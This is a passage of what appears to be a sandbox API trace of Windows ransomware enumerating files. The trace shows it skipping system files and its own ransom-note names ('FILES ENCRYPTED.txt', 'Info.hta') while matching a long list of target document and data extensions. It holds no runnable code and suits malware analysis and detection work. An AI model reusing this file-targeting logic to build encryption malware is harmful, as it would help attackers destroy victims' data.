(lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0093.498] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrcmpiW (lpString1="finbbp.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0093.498] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0093.498] FindNextFileW (in: hFindFile=0x3e50540, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0093.498] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0093.498] lstrlenW (lpString=".1cd") returned 4 [0093.498] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0093.498] lstrlenW (lpString=".3ds") returned 4 [0093.498] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0093.498] lstrlenW (lpString=".3fr") returned 4 [0093.498] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0093.498] lstrlenW (lpString=".3g2") returned 4 [0093.498] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0093.498] lstrlenW (lpString=".3gp") returned 4 [0093.498] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0093.498] lstrlenW (lpString=".7z") returned 3 [0093.498] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0093.499] lstrlenW (lpString=".accda") returned 6 [0093.499] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".accdb") returned 6 [0093.499] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".accdc") returned 6 [0093.499] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".accde") returned 6 [0093.499] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".accdt") returned 6 [0093.499] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".accdw") returned 6 [0093.499] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0093.499] lstrlenW (lpString=".adb") returned 4 [0093.499] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".adp") returned 4 [0093.499] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".ai") returned 3 [0093.499] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0093.499] lstrlenW (lpString=".ai3") returned 4 [0093.499] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".ai4") returned 4 [0093.499] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".ai5") returned 4 [0093.499] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".ai6") returned 4 [0093.499] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0093.499] lstrlenW (lpString=".ai7") returned 4 [0093.499] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".ai8") returned 4 [0093.500] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".anim") returned 5 [0093.500] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0093.500] lstrlenW (lpString=".arw") returned 4 [0093.500] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".as") returned 3 [0093.500] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0093.500] lstrlenW (lpString=".asa") returned 4 [0093.500] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".asc") returned 4 [0093.500] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".ascx") returned 5 [0093.500] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0093.500] lstrlenW (lpString=".asm") returned 4 [0093.500] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".asmx") returned 5 [0093.500] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0093.500] lstrlenW (lpString=".asp") returned 4 [0093.500] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".aspx") returned 5 [0093.500] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0093.500] lstrlenW (lpString=".asr") returned 4 [0093.500] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".asx") returned 4 [0093.500] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0093.500] lstrlenW (lpString=".avi") returned 4 [0093.500] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".avs") returned 4 [0093.501] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".backup") returned 7 [0093.501] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0093.501] lstrlenW (lpString=".bak") returned 4 [0093.501] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".bay") returned 4 [0093.501] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".bd") returned 3 [0093.501] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0093.501] lstrlenW (lpString=".bin") returned 4 [0093.501] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".bmp") returned 4 [0093.501] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".bz2") returned 4 [0093.501] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".c") returned 2 [0093.501] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0093.501] lstrlenW (lpString=".cdr") returned 4 [0093.501] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".cer") returned 4 [0093.501] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".cf") returned 3 [0093.501] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0093.501] lstrlenW (lpString=".cfc") returned 4 [0093.501] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0093.501] lstrlenW (lpString=".cfm") returned 4 [0093.502] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".cfml") returned 5 [0093.502] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0093.502] lstrlenW (lpString=".cfu") returned 4 [0093.502] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".chm") returned 4 [0093.502] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".cin") returned 4 [0093.502] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".class") returned 6 [0093.502] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0093.502] lstrlenW (lpString=".clx") returned 4 [0093.502] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".config") returned 7 [0093.502] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0093.502] lstrlenW (lpString=".cpp") returned 4 [0093.502] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".cr2") returned 4 [0093.502] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".crt") returned 4 [0093.502] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".crw") returned 4 [0093.502] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0093.502] lstrlenW (lpString=".cs") returned 3 [0093.502] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0093.502] lstrlenW (lpString=".css") returned 4 [0093.502] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".csv") returned 4 [0093.503] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".cub") returned 4 [0093.503] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dae") returned 4 [0093.503] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dat") returned 4 [0093.503] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".db") returned 3 [0093.503] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0093.503] lstrlenW (lpString=".dbf") returned 4 [0093.503] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dbx") returned 4 [0093.503] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dc3") returned 4 [0093.503] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dcm") returned 4 [0093.503] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dcr") returned 4 [0093.503] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".der") returned 4 [0093.503] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dib") returned 4 [0093.503] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dic") returned 4 [0093.503] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0093.503] lstrlenW (lpString=".dif") returned 4 [0093.504] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0093.504] lstrlenW (lpString=".divx") returned 5 [0093.504] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".djvu") returned 5 [0093.504] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".dng") returned 4 [0093.504] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0093.504] lstrlenW (lpString=".doc") returned 4 [0093.504] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0093.504] lstrlenW (lpString=".docm") returned 5 [0093.504] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".docx") returned 5 [0093.504] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".dot") returned 4 [0093.504] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0093.504] lstrlenW (lpString=".dotm") returned 5 [0093.504] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".dotx") returned 5 [0093.504] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0093.504] lstrlenW (lpString=".dpx") returned 4 [0093.504] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0093.504] lstrlenW (lpString=".dqy") returned 4 [0093.504] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0093.504] FindNextFileW (in: hFindFile=0x3e50540, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0093.505] FindNextFileW (in: hFindFile=0x3e50540, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0093.505] FindClose (in: hFindFile=0x3e50540 | out: hFindFile=0x3e50540) returned 1 [0093.541] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0093.541] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0093.541] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e61060 [0093.541] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21 [0093.541] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50200 [0093.560] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.560] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0093.560] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0093.560] lstrlenW (lpString=".1cd") returned 4 [0093.560] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.560] lstrlenW (lpString=".3ds") returned 4 [0093.560] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0093.560] lstrlenW (lpString=".3fr") returned 4 [0093.560] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0093.560] lstrlenW (lpString=".3g2") returned 4 [0093.560] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0093.560] lstrlenW (lpString=".3gp") returned 4 [0093.560] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0093.560] lstrlenW (lpString=".7z") returned 3 [0093.560] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.561] lstrlenW (lpString=".accda") returned 6 [0093.561] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".accdb") returned 6 [0093.561] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".accdc") returned 6 [0093.561] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".accde") returned 6 [0093.561] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".accdt") returned 6 [0093.561] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".accdw") returned 6 [0093.561] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1 [0093.561] lstrlenW (lpString=".adb") returned 4 [0093.561] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".adp") returned 4 [0093.561] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".ai") returned 3 [0093.561] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0093.561] lstrlenW (lpString=".ai3") returned 4 [0093.561] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".ai4") returned 4 [0093.561] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".ai5") returned 4 [0093.561] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".ai6") returned 4 [0093.561] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0093.561] lstrlenW (lpString=".ai7") returned 4 [0093.562] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".ai8") returned 4 [0093.562] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".anim") returned 5 [0093.562] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1 [0093.562] lstrlenW (lpString=".arw") returned 4 [0093.562] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".as") returned 3 [0093.562] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0093.562] lstrlenW (lpString=".asa") returned 4 [0093.562] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".asc") returned 4 [0093.562] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".ascx") returned 5 [0093.562] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1 [0093.562] lstrlenW (lpString=".asm") returned 4 [0093.562] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".asmx") returned 5 [0093.562] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1 [0093.562] lstrlenW (lpString=".asp") returned 4 [0093.562] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".aspx") returned 5 [0093.562] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1 [0093.562] lstrlenW (lpString=".asr") returned 4 [0093.562] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0093.562] lstrlenW (lpString=".asx") returned 4 [0093.562] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".avi") returned 4 [0093.563] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".avs") returned 4 [0093.563] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".backup") returned 7 [0093.563] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1 [0093.563] lstrlenW (lpString=".bak") returned 4 [0093.563] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".bay") returned 4 [0093.563] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".bd") returned 3 [0093.563] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0093.563] lstrlenW (lpString=".bin") returned 4 [0093.563] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".bmp") returned 4 [0093.563] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".bz2") returned 4 [0093.563] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".c") returned 2 [0093.563] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0093.563] lstrlenW (lpString=".cdr") returned 4 [0093.563] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".cer") returned 4 [0093.563] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0093.563] lstrlenW (lpString=".cf") returned 3 [0093.563] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0093.563] lstrlenW (lpString=".cfc") returned 4 [0093.564] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".cfm") returned 4 [0093.564] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".cfml") returned 5 [0093.564] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1 [0093.564] lstrlenW (lpString=".cfu") returned 4 [0093.564] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".chm") returned 4 [0093.564] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".cin") returned 4 [0093.564] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".class") returned 6 [0093.564] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1 [0093.564] lstrlenW (lpString=".clx") returned 4 [0093.564] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".config") returned 7 [0093.564] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1 [0093.564] lstrlenW (lpString=".cpp") returned 4 [0093.564] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".cr2") returned 4 [0093.564] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".crt") returned 4 [0093.564] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".crw") returned 4 [0093.564] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0093.564] lstrlenW (lpString=".cs") returned 3 [0093.564] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0093.565] lstrlenW (lpString=".css") returned 4 [0093.565] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".csv") returned 4 [0093.565] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".cub") returned 4 [0093.565] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dae") returned 4 [0093.565] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dat") returned 4 [0093.565] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".db") returned 3 [0093.565] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0093.565] lstrlenW (lpString=".dbf") returned 4 [0093.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dbx") returned 4 [0093.565] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dc3") returned 4 [0093.565] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dcm") returned 4 [0093.565] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dcr") returned 4 [0093.565] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".der") returned 4 [0093.565] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dib") returned 4 [0093.565] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0093.565] lstrlenW (lpString=".dic") returned 4 [0093.566] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0093.566] lstrlenW (lpString=".dif") returned 4 [0093.566] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0093.566] lstrlenW (lpString=".divx") returned 5 [0093.566] lstrcmpiW (lpString1=".divx", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".djvu") returned 5 [0093.566] lstrcmpiW (lpString1=".djvu", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".dng") returned 4 [0093.566] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0093.566] lstrlenW (lpString=".doc") returned 4 [0093.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.566] lstrlenW (lpString=".docm") returned 5 [0093.566] lstrcmpiW (lpString1=".docm", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".docx") returned 5 [0093.566] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".dot") returned 4 [0093.566] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0093.566] lstrlenW (lpString=".dotm") returned 5 [0093.566] lstrcmpiW (lpString1=".dotm", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".dotx") returned 5 [0093.566] lstrcmpiW (lpString1=".dotx", lpString2="E.dll") returned -1 [0093.566] lstrlenW (lpString=".dpx") returned 4 [0093.566] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0093.566] lstrlenW (lpString=".dqy") returned 4 [0093.566] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0093.566] lstrlenW (lpString=".dsn") returned 4 [0093.566] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".dt") returned 3 [0093.567] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0093.567] lstrlenW (lpString=".dtd") returned 4 [0093.567] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".dwg") returned 4 [0093.567] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".dwt") returned 4 [0093.567] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".dx") returned 3 [0093.567] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0093.567] lstrlenW (lpString=".dxf") returned 4 [0093.567] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".edml") returned 5 [0093.567] lstrcmpiW (lpString1=".edml", lpString2="E.dll") returned -1 [0093.567] lstrlenW (lpString=".efd") returned 4 [0093.567] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".elf") returned 4 [0093.567] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".emf") returned 4 [0093.567] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".emz") returned 4 [0093.567] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".epf") returned 4 [0093.567] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0093.567] lstrlenW (lpString=".eps") returned 4 [0093.567] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 